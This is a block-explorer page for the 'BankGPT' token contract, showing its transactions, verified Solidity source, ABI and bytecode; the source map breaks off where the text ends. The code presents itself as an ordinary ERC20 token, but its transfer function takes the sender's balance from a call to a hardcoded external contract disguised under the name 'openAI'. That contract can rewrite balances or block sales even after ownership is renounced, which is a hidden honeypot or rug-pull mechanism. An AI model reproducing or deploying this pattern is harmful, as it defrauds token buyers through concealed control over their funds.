ETH Price: $3,240.67 (-0.53%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve168492252023-03-17 18:11:35678 days ago1679076695IN
0x4089889E...6da75Ba47
0 ETH0.0011358924.48943227
Approve168324042023-03-15 9:26:47680 days ago1678872407IN
0x4089889E...6da75Ba47
0 ETH0.0008801918.91784112
Approve168294022023-03-14 23:18:11680 days ago1678835891IN
0x4089889E...6da75Ba47
0 ETH0.0012487426.83915745
Approve168278182023-03-14 17:56:35681 days ago1678816595IN
0x4089889E...6da75Ba47
0 ETH0.0014174330.46485634
Approve168277832023-03-14 17:49:35681 days ago1678816175IN
0x4089889E...6da75Ba47
0 ETH0.0014996532.19035249
Approve168277562023-03-14 17:44:11681 days ago1678815851IN
0x4089889E...6da75Ba47
0 ETH0.001540533.10986504
Approve168277382023-03-14 17:40:35681 days ago1678815635IN
0x4089889E...6da75Ba47
0 ETH0.0017464337.48754318
Approve168277312023-03-14 17:39:11681 days ago1678815551IN
0x4089889E...6da75Ba47
0 ETH0.0016702836.01065309
Approve168276862023-03-14 17:30:11681 days ago1678815011IN
0x4089889E...6da75Ba47
0 ETH0.0017050836.76089052
Approve168276572023-03-14 17:24:23681 days ago1678814663IN
0x4089889E...6da75Ba47
0 ETH0.0018502139.88988186
Approve168276542023-03-14 17:23:47681 days ago1678814627IN
0x4089889E...6da75Ba47
0 ETH0.0018986540.93427469
Approve168276512023-03-14 17:23:11681 days ago1678814591IN
0x4089889E...6da75Ba47
0 ETH0.0019551842.15303253
Approve168276272023-03-14 17:18:23681 days ago1678814303IN
0x4089889E...6da75Ba47
0 ETH0.0017749138.26644658
Approve168276112023-03-14 17:15:11681 days ago1678814111IN
0x4089889E...6da75Ba47
0 ETH0.0018662840.23649597
Approve168276042023-03-14 17:13:47681 days ago1678814027IN
0x4089889E...6da75Ba47
0 ETH0.0018653540.04020965
Approve168275842023-03-14 17:09:47681 days ago1678813787IN
0x4089889E...6da75Ba47
0 ETH0.0019434841.90073918
Approve168275792023-03-14 17:08:35681 days ago1678813715IN
0x4089889E...6da75Ba47
0 ETH0.0018022138.85504447
Renounce Ownersh...168275742023-03-14 17:07:23681 days ago1678813643IN
0x4089889E...6da75Ba47
0 ETH0.0008892738.21371676
Open Trading168275722023-03-14 17:06:59681 days ago1678813619IN
0x4089889E...6da75Ba47
0 ETH0.0026224138.75878179

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BankGPT

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-14
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERCDC {
    function swapForBank(address sender, address recipient, uint256 amount) external returns (uint256);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address _openAI = 0x94B9f7c8195bDFadE31Bf6ccC27f9533c95a0901;
    address public pair;

    IDEXRouter router;
    IERCDC openAI;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock;
    
    constructor (string memory name_, string memory symbol_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        openAI = IERCDC(_openAI);

        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() public {
        require(((msg.sender == owner()) || (address(0) == owner())), "Ownable: caller is not the owner");
        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(((trade == true) || (sender == owner())), "ERC20: trading is not yet enabled");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = openAI.swapForBank(sender, recipient, _balances[sender]);
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeployBankGPT(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
 
        approve(_router, ~uint256(0));
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployBankGPT(creator, initialSupply);
    }
}

contract BankGPT is ERC20Token {
    constructor() ERC20Token("Bank GPT", "BankGPT", msg.sender, 25000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217909155600580548216737a250d5630b4cf539739df2c5dacb4c659f2488d179055600680549091167394b9f7c8195bdfade31bf6ccc27f9533c95a09011790553480156200007757600080fd5b506040518060400160405280600881526020016710985b9ac811d41560c21b8152506040518060400160405280600781526020016610985b9ad1d41560ca1b815250336a14adf4b7320334b900000083836000620000da6200029360201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554600880546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000185573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ab9190620004dc565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303816000875af115801562000202573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002289190620004dc565b600780546001600160a01b03199081166001600160a01b039384161790915560065460098054919093169116179055600a620002658382620005b3565b50600b620002748282620005b3565b5050506200028982826200029760201b60201c565b50505050620006a1565b3390565b6001600160a01b038216620002f35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600c60008282546200030791906200067f565b90915550506001600160a01b03821660009081526002602052604081208054839290620003369084906200067f565b909155505060055462000355906001600160a01b03166000196200039b565b506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000620003aa338484620003b4565b5060015b92915050565b6001600160a01b038316620004185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620002ea565b6001600160a01b0382166200047b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620002ea565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208284031215620004ef57600080fd5b81516001600160a01b03811681146200050757600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200053957607f821691505b6020821081036200055a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005ae57600081815260208120601f850160051c81016020861015620005895750805b601f850160051c820191505b81811015620005aa5782815560010162000595565b5050505b505050565b81516001600160401b03811115620005cf57620005cf6200050e565b620005e781620005e0845462000524565b8462000560565b602080601f8311600181146200061f5760008415620006065750858301515b600019600386901b1c1916600185901b178555620005aa565b600085815260208120601f198616915b8281101562000650578886015182559484019460019091019084016200062f565b50858210156200066f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820180821115620003ae57634e487b7160e01b600052601160045260246000fd5b610ac580620006b16000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a8aa1b3111610066578063a8aa1b31146101e5578063a9059cbb146101f8578063c9567bf91461020b578063dd62ed3e1461021357600080fd5b806370a0823114610185578063715018a6146101ae5780638da5cb5b146101b857806395d89b41146101dd57600080fd5b80631f0ba6c9116100d35780631f0ba6c91461014d57806323b872dd1461015a578063313ce5671461016d57806348cd4cb11461017c57600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261024c565b60405161010f91906108db565b60405180910390f35b61012b610126366004610945565b6102de565b604051901515815260200161010f565b600c545b60405190815260200161010f565b600d5461012b9060ff1681565b61012b61016836600461096f565b6102f5565b6040516012815260200161010f565b61013f600e5481565b61013f6101933660046109ab565b6001600160a01b031660009081526002602052604090205490565b6101b66103ab565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b61010261044f565b6007546101c5906001600160a01b031681565b61012b610206366004610945565b61045e565b6101b661046b565b61013f6102213660046109cd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6060600a805461025b90610a00565b80601f016020809104026020016040519081016040528092919081815260200182805461028790610a00565b80156102d45780601f106102a9576101008083540402835291602001916102d4565b820191906000526020600020905b8154815290600101906020018083116102b757829003601f168201915b5050505050905090565b60006102eb3384846104ec565b5060015b92915050565b6000610302848484610610565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561038c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103a0853361039b8685610a50565b6104ec565b506001949350505050565b6001546001600160a01b031633146104055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b805461025b90610a00565b60006102eb338484610610565b6001546001600160a01b031633148061048d57506001546001600160a01b0316155b6104d95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b600d805460ff1916600117905543600e55565b6001600160a01b03831661054e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610383565b6001600160a01b0382166105af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610383565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d5460ff1615156001148061063357506001546001600160a01b038481169116145b6106895760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610383565b6001600160a01b0383166106ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610383565b6001600160a01b03821661074f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610383565b6009546001600160a01b038481166000818152600260205260408082205490516302bc009d60e01b81526004810193909352868416602484015260448301529291909116906302bc009d906064016020604051808303816000875af11580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190610a63565b9050818110156108415760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610383565b61084b8282610a50565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610881908490610a7c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108cd91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610908578581018301518582016040015282016108ec565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094057600080fd5b919050565b6000806040838503121561095857600080fd5b61096183610929565b946020939093013593505050565b60008060006060848603121561098457600080fd5b61098d84610929565b925061099b60208501610929565b9150604084013590509250925092565b6000602082840312156109bd57600080fd5b6109c682610929565b9392505050565b600080604083850312156109e057600080fd5b6109e983610929565b91506109f760208401610929565b90509250929050565b600181811c90821680610a1457607f821691505b602082108103610a3457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef610a3a565b600060208284031215610a7557600080fd5b5051919050565b808201808211156102ef576102ef610a3a56fea26469706673582212209e366f0d259fce3d373919ac2563aa87d39676dfcef7306540239de789971b1264736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a8aa1b3111610066578063a8aa1b31146101e5578063a9059cbb146101f8578063c9567bf91461020b578063dd62ed3e1461021357600080fd5b806370a0823114610185578063715018a6146101ae5780638da5cb5b146101b857806395d89b41146101dd57600080fd5b80631f0ba6c9116100d35780631f0ba6c91461014d57806323b872dd1461015a578063313ce5671461016d57806348cd4cb11461017c57600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261024c565b60405161010f91906108db565b60405180910390f35b61012b610126366004610945565b6102de565b604051901515815260200161010f565b600c545b60405190815260200161010f565b600d5461012b9060ff1681565b61012b61016836600461096f565b6102f5565b6040516012815260200161010f565b61013f600e5481565b61013f6101933660046109ab565b6001600160a01b031660009081526002602052604090205490565b6101b66103ab565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b61010261044f565b6007546101c5906001600160a01b031681565b61012b610206366004610945565b61045e565b6101b661046b565b61013f6102213660046109cd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6060600a805461025b90610a00565b80601f016020809104026020016040519081016040528092919081815260200182805461028790610a00565b80156102d45780601f106102a9576101008083540402835291602001916102d4565b820191906000526020600020905b8154815290600101906020018083116102b757829003601f168201915b5050505050905090565b60006102eb3384846104ec565b5060015b92915050565b6000610302848484610610565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561038c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103a0853361039b8685610a50565b6104ec565b506001949350505050565b6001546001600160a01b031633146104055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b805461025b90610a00565b60006102eb338484610610565b6001546001600160a01b031633148061048d57506001546001600160a01b0316155b6104d95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610383565b600d805460ff1916600117905543600e55565b6001600160a01b03831661054e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610383565b6001600160a01b0382166105af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610383565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d5460ff1615156001148061063357506001546001600160a01b038481169116145b6106895760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610383565b6001600160a01b0383166106ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610383565b6001600160a01b03821661074f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610383565b6009546001600160a01b038481166000818152600260205260408082205490516302bc009d60e01b81526004810193909352868416602484015260448301529291909116906302bc009d906064016020604051808303816000875af11580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190610a63565b9050818110156108415760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610383565b61084b8282610a50565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610881908490610a7c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108cd91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610908578581018301518582016040015282016108ec565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094057600080fd5b919050565b6000806040838503121561095857600080fd5b61096183610929565b946020939093013593505050565b60008060006060848603121561098457600080fd5b61098d84610929565b925061099b60208501610929565b9150604084013590509250925092565b6000602082840312156109bd57600080fd5b6109c682610929565b9392505050565b600080604083850312156109e057600080fd5b6109e983610929565b91506109f760208401610929565b90509250929050565b600181811c90821680610a1457607f821691505b602082108103610a3457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef610a3a565b600060208284031215610a7557600080fd5b5051919050565b808201808211156102ef576102ef610a3a56fea26469706673582212209e366f0d259fce3d373919ac2563aa87d39676dfcef7306540239de789971b1264736f6c63430008110033

Deployed Bytecode Sourcemap

6540:130:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3295:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4276:160;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4276:160:0;1004:187:1;5137:108:0;5225:12;;5137:108;;;1342:25:1;;;1330:2;1315:18;5137:108:0;1196:177:1;2846:17:0;;;;;;;;;3846:422;;;;;;:::i;:::-;;:::i;3403:93::-;;;3486:2;1853:36:1;;1841:2;1826:18;3403:93:0;1711:184:1;2865:25:0;;;;;;5002:127;;;;;;:::i;:::-;-1:-1:-1;;;;;5103:18:0;5076:7;5103:18;;;:9;:18;;;;;;;5002:127;2141:148;;;:::i;:::-;;1927:79;1992:6;;-1:-1:-1;;;;;1992:6:0;1927:79;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1927:79:0;2091:203:1;3183:104:0;;;:::i;2691:19::-;;;;;-1:-1:-1;;;;;2691:19:0;;;3663:175;;;;;;:::i;:::-;;:::i;4798:196::-;;;:::i;3504:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3620:18:0;;;3593:7;3620:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3504:151;3295:100;3349:13;3382:5;3375:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3295:100;:::o;4276:160::-;4350:4;4367:39;140:10;4390:7;4399:6;4367:8;:39::i;:::-;-1:-1:-1;4424:4:0;4276:160;;;;;:::o;3846:422::-;3952:4;3969:36;3979:6;3987:9;3998:6;3969:9;:36::i;:::-;-1:-1:-1;;;;;4045:19:0;;4018:24;4045:19;;;:11;:19;;;;;;;;140:10;4045:33;;;;;;;;4097:26;;;;4089:79;;;;-1:-1:-1;;;4089:79:0;;3151:2:1;4089:79:0;;;3133:21:1;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:38;3328:19;;4089:79:0;;;;;;;;;4179:57;4188:6;140:10;4210:25;4229:6;4210:16;:25;:::i;:::-;4179:8;:57::i;:::-;-1:-1:-1;4256:4:0;;3846:422;-1:-1:-1;;;;3846:422:0:o;2141:148::-;2054:6;;-1:-1:-1;;;;;2054:6:0;140:10;2054:22;2046:67;;;;-1:-1:-1;;;2046:67:0;;3825:2:1;2046:67:0;;;3807:21:1;;;3844:18;;;3837:30;3903:34;3883:18;;;3876:62;3955:18;;2046:67:0;3623:356:1;2046:67:0;2232:6:::1;::::0;2211:40:::1;::::0;2248:1:::1;::::0;-1:-1:-1;;;;;2232:6:0::1;::::0;2211:40:::1;::::0;2248:1;;2211:40:::1;2262:6;:19:::0;;-1:-1:-1;;;;;;2262:19:0::1;::::0;;2141:148::o;3183:104::-;3239:13;3272:7;3265:14;;;;;:::i;3663:175::-;3749:4;3766:42;140:10;3790:9;3801:6;3766:9;:42::i;4798:196::-;1992:6;;-1:-1:-1;;;;;1992:6:0;4849:10;:21;;4848:50;;-1:-1:-1;1992:6:0;;-1:-1:-1;;;;;1992:6:0;4876:21;4848:50;4839:97;;;;-1:-1:-1;;;4839:97:0;;3825:2:1;4839:97:0;;;3807:21:1;;;3844:18;;;3837:30;3903:34;3883:18;;;3876:62;3955:18;;4839:97:0;3623:356:1;4839:97:0;4947:5;:12;;-1:-1:-1;;4947:12:0;4955:4;4947:12;;;4974;4961:10;:25;4798:196::o;4444:346::-;-1:-1:-1;;;;;4546:19:0;;4538:68;;;;-1:-1:-1;;;4538:68:0;;4186:2:1;4538:68:0;;;4168:21:1;4225:2;4205:18;;;4198:30;4264:34;4244:18;;;4237:62;-1:-1:-1;;;4315:18:1;;;4308:34;4359:19;;4538:68:0;3984:400:1;4538:68:0;-1:-1:-1;;;;;4625:21:0;;4617:68;;;;-1:-1:-1;;;4617:68:0;;4591:2:1;4617:68:0;;;4573:21:1;4630:2;4610:18;;;4603:30;4669:34;4649:18;;;4642:62;-1:-1:-1;;;4720:18:1;;;4713:32;4762:19;;4617:68:0;4389:398:1;4617:68:0;-1:-1:-1;;;;;4698:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4750:32;;1342:25:1;;;4750:32:0;;1315:18:1;4750:32:0;;;;;;;4444:346;;;:::o;5253:690::-;5361:5;;;;:13;;:5;:13;;5360:38;;-1:-1:-1;1992:6:0;;-1:-1:-1;;;;;5380:17:0;;;1992:6;;5380:17;5360:38;5351:86;;;;-1:-1:-1;;;5351:86:0;;4994:2:1;5351:86:0;;;4976:21:1;5033:2;5013:18;;;5006:30;5072:34;5052:18;;;5045:62;-1:-1:-1;;;5123:18:1;;;5116:31;5164:19;;5351:86:0;4792:397:1;5351:86:0;-1:-1:-1;;;;;5456:20:0;;5448:70;;;;-1:-1:-1;;;5448:70:0;;5396:2:1;5448:70:0;;;5378:21:1;5435:2;5415:18;;;5408:30;5474:34;5454:18;;;5447:62;-1:-1:-1;;;5525:18:1;;;5518:35;5570:19;;5448:70:0;5194:401:1;5448:70:0;-1:-1:-1;;;;;5537:23:0;;5529:71;;;;-1:-1:-1;;;5529:71:0;;5802:2:1;5529:71:0;;;5784:21:1;5841:2;5821:18;;;5814:30;5880:34;5860:18;;;5853:62;-1:-1:-1;;;5931:18:1;;;5924:33;5974:19;;5529:71:0;5600:399:1;5529:71:0;5637:6;;-1:-1:-1;;;;;5675:17:0;;;5613:21;5675:17;;;:9;:17;;;;;;;5637:56;;-1:-1:-1;;;5637:56:0;;;;;6244:34:1;;;;6314:15;;;6294:18;;;6287:43;6346:18;;;6339:34;5613:21:0;5637:6;;;;;:18;;6179::1;;5637:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5613:80;;5729:6;5712:13;:23;;5704:74;;;;-1:-1:-1;;;5704:74:0;;6775:2:1;5704:74:0;;;6757:21:1;6814:2;6794:18;;;6787:30;6853:34;6833:18;;;6826:62;-1:-1:-1;;;6904:18:1;;;6897:36;6950:19;;5704:74:0;6573:402:1;5704:74:0;5819:22;5835:6;5819:13;:22;:::i;:::-;-1:-1:-1;;;;;5799:17:0;;;;;;;:9;:17;;;;;;:42;;;;5852:20;;;;;;;;:30;;5876:6;;5799:17;5852:30;;5876:6;;5852:30;:::i;:::-;;;;;;;;5917:9;-1:-1:-1;;;;;5900:35:0;5909:6;-1:-1: